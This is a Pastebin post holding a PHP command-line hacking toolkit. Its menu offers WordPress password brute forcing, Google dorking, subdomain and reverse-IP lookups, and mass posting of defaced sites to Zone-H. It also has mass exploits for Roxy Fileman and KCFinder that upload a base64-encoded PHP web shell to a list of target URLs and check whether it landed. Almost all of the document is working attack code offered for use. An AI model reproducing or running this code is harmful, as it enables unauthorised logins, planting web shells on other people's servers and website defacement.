RintoMuhamad

PlanTSec Tools :D

Apr 25th, 2019
912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.23 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. # THANKS TEGUH APRIANTO for API KEY CSE :V
  4. error_reporting(0);
  5. class Colors
  6. {
  7.     ##SOURCE FOR THIS CLASS : https://www.if-not-true-then-false.com/2010/php-class-for-coloring-php-command-line-cli-scripts-output-php-output-colorizing-using-bash-shell-colors/
  8.    private $foreground_colors = array();
  9.     private $background_colors = array();
  10.     public function __construct()
  11.     {
  12.         $this->foreground_colors['black'] = '0;30';
  13.         $this->foreground_colors['dark_gray'] = '1;30';
  14.         $this->foreground_colors['blue'] = '0;34';
  15.         $this->foreground_colors['light_blue'] = '1;34';
  16.         $this->foreground_colors['green'] = '0;32';
  17.         $this->foreground_colors['light_green'] = '1;32';
  18.         $this->foreground_colors['cyan'] = '0;36';
  19.         $this->foreground_colors['light_cyan'] = '1;36';
  20.         $this->foreground_colors['red'] = '0;31';
  21.         $this->foreground_colors['light_red'] = '1;31';
  22.         $this->foreground_colors['purple'] = '0;35';
  23.         $this->foreground_colors['light_purple'] = '1;35';
  24.         $this->foreground_colors['brown'] = '0;33';
  25.         $this->foreground_colors['yellow'] = '1;33';
  26.         $this->foreground_colors['light_gray'] = '0;37';
  27.         $this->foreground_colors['white'] = '1;37';
  28.  
  29.         $this->background_colors['black'] = '40';
  30.         $this->background_colors['red'] = '41';
  31.         $this->background_colors['green'] = '42';
  32.         $this->background_colors['yellow'] = '43';
  33.         $this->background_colors['blue'] = '44';
  34.         $this->background_colors['magenta'] = '45';
  35.         $this->background_colors['cyan'] = '46';
  36.         $this->background_colors['light_gray'] = '47';
  37.         }
  38.  
  39.     public function getColoredString($string, $foreground_color = null, $background_color = null)
  40.     {
  41.         $colored_string = "";
  42.  
  43.         if (isset($this->foreground_colors[$foreground_color])) {
  44.             $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
  45.         }
  46.         if (isset($this->background_colors[$background_color])) {
  47.             $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
  48.         }
  49.  
  50.         $colored_string .=  $string . "\033[0m";
  51.  
  52.         return $colored_string;
  53.     }
  54.  
  55.     public function getForegroundColors()
  56.     {
  57.         return array_keys($this->foreground_colors);
  58.     }
  59.     public function getBackgroundColors()
  60.     {
  61.         return array_keys($this->background_colors);
  62.     }
  63. }
  64. class PlanTSecLibrary extends Colors
  65. {
  66.     var $ch;
  67.     function getStr($string, $start, $end)
  68.     {
  69.         $str = explode($start, $string);
  70.         $str = explode($end, $str[1]);
  71.         return $str[0];
  72.     }
  73.     function homeLah()
  74.     {
  75.         echo "
  76.        __________.__              ____________________              
  77.        \______   \  | _____    ___\__    ___/   _____/ ____   ____  
  78.         |     ___/  | \__  \  /    \|    |  \_____  \_/ __ \_/ ___\ Author: Con7ext    
  79.         |    |   |  |__/ __ \|   |  \    |  /        \  ___/\  \___ Ver   : V.1
  80.         |____|   |____(____  /___|  /____| /_______  /\___  >\___  >
  81.                            \/     \/               \/     \/     \/    
  82.        [1] Wordpress Brute [2] Google Dorker [3] Subdomain Finder
  83.        [4] Reverse IP      [5] Zone-h Poster [6] Alexa Rank
  84.        [7] CSRF            [8] Roxy Fileman  [9] Kcfinder
  85.        [99] Exit
  86.        Please Choose >> ";
  87.         $choice = trim(fgets(STDIN));
  88.         echo "\n";
  89.         if($choice == 1){
  90.             system("clear");
  91.             echo "[+]Wordpress Brute Force[+]\n\n";
  92.             echo "Host: ";
  93.             $hos = trim(fgets(STDIN));
  94.             echo "User: ";
  95.             $tim = trim(fgets(STDIN));
  96.             echo "List: ";
  97.             $wd = trim(fgets(STDIN));
  98.             $load = file_get_contents($wd);
  99.             $read = explode("\n", $load);
  100.             foreach($read as $wordlist){
  101.                 $this->wpBrute($hos, $tim, $wordlist);
  102.             }
  103.             $this->backLah();
  104.         }
  105.         else if($choice == 2){
  106.             system("clear");
  107.             echo "[+] Google Dorking [+]\n\n";
  108.             echo "Dork: ";
  109.             $drk = trim(fgets(STDIN));
  110.             $dork = urlencode($drk);
  111.             $co = $this->makeRequest("https://cse.google.com/cse.js?cx=partner-pub-2698861478625135:3033704849", null, array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  112.             $cse_tok = $this->getStr($co, '"cse_token": "', '"');
  113.             for($i = 1; $i <= 100; $i++){
  114.                 $au = $this->makeRequest("https://cse.google.com/cse/element/v1?num=10&hl=en&cx=partner-pub-2698861478625135:3033704849&safe=off&cse_tok=$cse_tok&start=$i&q=$dork&callback=x", null, array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  115.                 preg_match_all("@\"unescapedUrl\": \"(.*?)\"@", $au, $ugh);
  116.                 if(preg_match("@\"unescapedUrl\"@", $au)){
  117.                     foreach($ugh[1] as $url){
  118.                         echo $url."\n";
  119.                     }
  120.                 }
  121.                 else{
  122.                     echo $this->getColoredString("I cant get url :D", "red") . "\n";
  123.                     break;
  124.                 }
  125.             }
  126.             $this->backLah();
  127.         }
  128.         else if($choice == 3){
  129.             system("clear");
  130.             echo "[+] Subdomain Finder [+]\nPlease just put website without http/https\n\n";
  131.             echo "Domain: ";
  132.             $dom = trim(fgets(STDIN));
  133.             $ehh = $this->makeRequest("https://www.virustotal.com/ui/domains/$dom/subdomains", null, array("x-session-hash: 16961ee14a95fae7bbfe69587dcca2adf647b7022e88ec6167edec568e4c69d3"));
  134.             preg_match_all("@\"id\": \"(.*?)\"@", $ehh, $pew);
  135.             if(preg_match("@\"id\": \"@", $ehh)){
  136.                 foreach($pew[1] as $subdo){
  137.                     echo $subdo."\n";
  138.                 }
  139.             }
  140.             else{
  141.                 echo $this->getColoredString("Not Found :D", "red") . "\n";
  142.             }
  143.             $this->backLah();
  144.            
  145.         }
  146.         else if($choice == 4){
  147.             system("clear");
  148.             echo "[+] Reverse Ip Lookup [+]\nPlease put website without http/https\n\n";
  149.             echo "Ip/Domain: ";
  150.             $web = trim(fgets(STDIN));
  151.             $ih = "theinput=$web&thetest=reverseiplookup&name_of_nonce_field=3020dad9e2&_wp_http_referer=%2Freverse-ip-lookup%2F";
  152.             $ugh = $this->makeRequest("https://hackertarget.com/reverse-ip-lookup/", $ih, array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  153.             $eg = $this->getStr($ugh, '<pre id="formResponse">', '</pre>');
  154.             if(preg_match("@<pre id=\"formResponse\">@", $ugh)){
  155.                 echo $eg."\n";
  156.             }
  157.             else{
  158.                 echo $this->getColoredString("Failed to reverse", "red") . "\n";
  159.             }
  160.         }
  161.         else if($choice == 5){
  162.             system("clear");
  163.             echo "[+] Zone H Mass Poster [+]\n\n";
  164.             echo "Nick: ";
  165.             $nick = trim(fgets(STDIN));
  166.             echo "List: ";
  167.             $lst = trim(fgets(STDIN));
  168.             $read = file_get_contents($lst);
  169.             $line = explode("\n", $read);
  170.             echo "Archive: http://www.zone-h.org/archive/notifier=$nick\n";
  171.             echo "Onhold : http://www.zone-h.org/archive/notifier=$nick/published=0\n";
  172.             foreach($line as $hexel){
  173.                 $ugh = $this->makeRequest("http://www.zone-h.com/notify/single", "defacer=$nick&domain1=$hexel&hackmode=1&reason=1&submit=Send", array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  174.                 if(preg_match("@color=\"red\">OK<\/font>@", $ugh)){
  175.                     echo $this->getColoredString("$hexel -> OK", "green") . "\n";
  176.                 }
  177.                 else{
  178.                     echo $this->getColoredString("$hexel -> Error", "red") . "\n";
  179.                 }
  180.             }
  181.             $this->backLah();
  182.         }
  183.         else if($choice == 6){
  184.             system("clear");
  185.             echo "[+] Alexa Mass Check [+]\n\n";
  186.             echo "List: ";
  187.             $list = trim(fgets(STDIN));
  188.             $read = file_get_contents($list);
  189.             $ikem = explode("\n", $read);
  190.             foreach($ikem as $url){
  191.                 $ugh = $this->makeRequest("http://data.alexa.com/data?cli=10&dat=snbamz&url=$url", null, array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  192.                 preg_match_all("@<POPULARITY URL=\"(.*?)\" TEXT=\"(.*?)\"@", $ugh, $apalah);
  193.                 preg_match_all("@<COUNTRY CODE=\"(.*?)\" NAME=\"(.*?)\" RANK=\"(.*?)\"@", $ugh, $country);
  194.                 if(preg_match("@<POPULARITY@", $ugh)){
  195.                     echo "Domain        : $url\n";
  196.                     echo "Global Rank   : ".$apalah[2][0]."\n";
  197.                     echo "Local Rank    : ".$country[3][0]."\n";
  198.                     echo "Country       : ".$country[2][0]."\n";
  199.                     echo "Country Code  : ".$country[1][0]."\n\n";
  200.                 }
  201.                 else{
  202.                     echo "Domain        : $url\n";
  203.                     echo "Global Rank   : -\n";
  204.                     echo "Local Rank    : -\n";
  205.                     echo "Country       : -\n";
  206.                     echo "Country Code  : -\n\n";
  207.                 }
  208.             }
  209.             $this->backLah();
  210.         }
  211.         else if($choice == 7){
  212.             system("clear");
  213.             echo "[+] CSRF [+]\nPlease upload file in same folder with this file\n\n";
  214.             echo "Web : ";
  215.             $web = trim(fgets(STDIN));
  216.             echo "Post: ";
  217.             $post = trim(fgets(STDIN));
  218.             echo "File: ";
  219.             $file = trim(fgets(STDIN));
  220.             $ugh = $this->makeRequest($web, array("$post" => "@$file"), null);
  221.             echo $ugh."\n";
  222.             $this->backLah();
  223.         }
  224.         else if($choice == 8){
  225.             system("clear");
  226.             echo "[+] Roxy Fileman Mass [+]\nPlease put complite url with exploit etc : website/php/Upload.php\n\n";
  227.             $upload = base64_decode("PD9waHAgaWYoaXNzZXQoJF9GSUxFU1sna29udG9sJ11bJ25hbWUnXSkpeyRuYW1lID0gJF9GSUxFU1sna29udG9sJ11bJ25hbWUnXTskYmFuZ3NhdCA9ICRfRklMRVNbJ2tvbnRvbCddWyd0bXBfbmFtZSddO0Btb3ZlX3VwbG9hZGVkX2ZpbGUoJGJhbmdzYXQsICRuYW1lKTsgZWNobyAkbmFtZTt9ZWxzZXsgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1rb250b2w+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pj4nPiI7DQp9IA0KPz4=");
  228.             $shell = "kecoak.php.phpgif";
  229.             $fopen = fopen($shell, "w");
  230.             fwrite($fopen, $upload);
  231.             fclose($fopen);
  232.             echo "List: ";
  233.             $list = trim(fgets(STDIN));
  234.             $read = file_get_contents($list);
  235.             $ughg = explode("\n", $read);
  236.             foreach($ughg as $url){
  237.                 $target = $url;
  238.                 $br = str_replace("php/upload.php", "Uploads/", $url);
  239.                 $data = array(
  240.                 "files[]" => "@$shell"
  241.                 );
  242.                 $ugh = $this->makeRequest($target, $data);
  243.                 if($ugh){
  244.                     $ngecheck = @file_get_contents("$br/$shell");
  245.                     if(preg_match("@>>>@", $ngecheck)){
  246.                         echo $this->getColoredString("$br/$shell Success Upload Shell:D", "green") . "\n";
  247.                     }
  248.                     else{
  249.                         echo $this->getColoredString("$br/$shell Failed", "red") . "\n";
  250.                     }
  251.                 }
  252.             }
  253.             $this->backLah();
  254.         }
  255.         else if($choice == 9){
  256.             system("clear");
  257.             echo "[+] Kcfinder Mass Exploit [+]\nPlease put website with complite exploit :D\n\n";
  258.             $upload = base64_decode("PD9waHAgaWYoaXNzZXQoJF9GSUxFU1sna29udG9sJ11bJ25hbWUnXSkpeyRuYW1lID0gJF9GSUxFU1sna29udG9sJ11bJ25hbWUnXTskYmFuZ3NhdCA9ICRfRklMRVNbJ2tvbnRvbCddWyd0bXBfbmFtZSddO0Btb3ZlX3VwbG9hZGVkX2ZpbGUoJGJhbmdzYXQsICRuYW1lKTsgZWNobyAkbmFtZTt9ZWxzZXsgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1rb250b2w+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pj4nPiI7DQp9IA0KPz4=");
  259.             $shell = "kecoak.php.phpgif";
  260.             $fopen = fopen($shell, "w");
  261.             fwrite($fopen, $upload);
  262.             fclose($fopen);
  263.             echo "List: ";
  264.             $list = trim(fgets(STDIN));
  265.             $read = file_get_contents($list);
  266.             $ughg = explode("\n", $read);
  267.             foreach($ughg as $url){
  268.                 $target = $url;
  269.                 $br = str_replace("upload.php", "uploads/", $url);
  270.                 $data = array(
  271.                 "Filedata" => "@$shell"
  272.                 );
  273.                 $ugh = $this->makeRequest($target, $data);
  274.                 if($ugh){
  275.                     $ngecheck = @file_get_contents("$br/files/$shell");
  276.                     if(preg_match("@>>>@", $ngecheck)){
  277.                         echo $this->getColoredString("$br/files/$shell Success Upload Shell:D", "green") . "\n";
  278.                     }
  279.                     else{
  280.                         echo $this->getColoredString("$br/files/$shell Failed", "red") . "\n";
  281.                     }
  282.                 }
  283.             }
  284.             $this->backLah();
  285.         }
  286.         else if($choice == 99){
  287.             echo "Thanks For using my tools :D";
  288.             exit;
  289.         }
  290.         else{
  291.             echo "Please choose 1 - 9 :| or 99 for exit";
  292.             $this->backLah();
  293.         }
  294.     }
  295.     function backLah()
  296.     {
  297.         echo "Back or exit y/n ? ";
  298.         $choice = trim(fgets(STDIN));
  299.         if($choice == "y" or $choice == "Y")
  300.         {
  301.             system("clear");
  302.             $this->homeLah();
  303.         }
  304.         else if($choice == "n" or $choice == "N")
  305.         {
  306.             exit;
  307.         }
  308.         else
  309.         {
  310.             echo "Please enter y / n :D";
  311.             $this->backLah();
  312.         }
  313.     }
  314.     function makeRequestWP($url, $post = null, $header = null)
  315.     {
  316.         $this->ch = curl_init();
  317.         curl_setopt($this->ch, CURLOPT_URL, $url);
  318.         curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, 10);
  319.         if($post && !empty($post))
  320.         {
  321.             curl_setopt($this->ch, CURLOPT_POSTFIELDS, $post);
  322.         }
  323.         if($header && !empty($header))
  324.         {
  325.             curl_setopt($this->ch, CURLOPT_HTTPHEADER, $header);
  326.         }
  327.         curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
  328.         curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, 0);
  329.         curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
  330.         $output = curl_exec($this->ch);
  331.         $http = curl_getinfo($this->ch, CURLINFO_HTTP_CODE);
  332.         if($http == 302){
  333.             echo $this->getColoredString("Success Try Login", "green") . "\n";
  334.             exit;
  335.         }
  336.         else{
  337.             echo $this->getColoredString("Failed", "red") . "\n";
  338.         }
  339.         curl_close($this->ch);
  340.        
  341.     }
  342.     function makeRequest($url, $post = null, $header = null)
  343.     {
  344.         $this->ch = curl_init();
  345.         curl_setopt($this->ch, CURLOPT_URL, $url);
  346.         curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, 10);
  347.         if($post && !empty($post))
  348.         {
  349.             curl_setopt($this->ch, CURLOPT_POSTFIELDS, $post);
  350.         }
  351.         if($header && !empty($header))
  352.         {
  353.             curl_setopt($this->ch, CURLOPT_HTTPHEADER, $header);
  354.         }
  355.         curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
  356.         curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, 0);
  357.         curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
  358.         $output = curl_exec($this->ch);
  359.         curl_close($this->ch);
  360.         return($output);
  361.     }
  362.     function saveFile($filename, $contents)
  363.     {
  364.         $save = fopen($filename, "a");
  365.         fwrite($save, $contents."\n");
  366.         fclose($save);
  367.     }
  368.     function wpBrute($url, $user, $password)
  369.     {
  370.         $uurl = $url;
  371.         if(preg_match("@/wp-login.php@", $url)){
  372.             return true;
  373.         }
  374.         else{
  375.             $url = $url."/wp-login.php";
  376.         }
  377.         echo "Host: $uurl\n";
  378.         echo "User: $user\n";
  379.         echo "Pass: $password\n";
  380.         $this->makeRequestWP($url, "log=$user&pwd=$password&wp-submit=Login&redirect_to=$uurl/wp-admin/", array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"));
  381.     }
  382. }
  383. $lib = new PlanTSecLibrary();
  384. $lib->homeLah();
Add Comment
Please, Sign In to add comment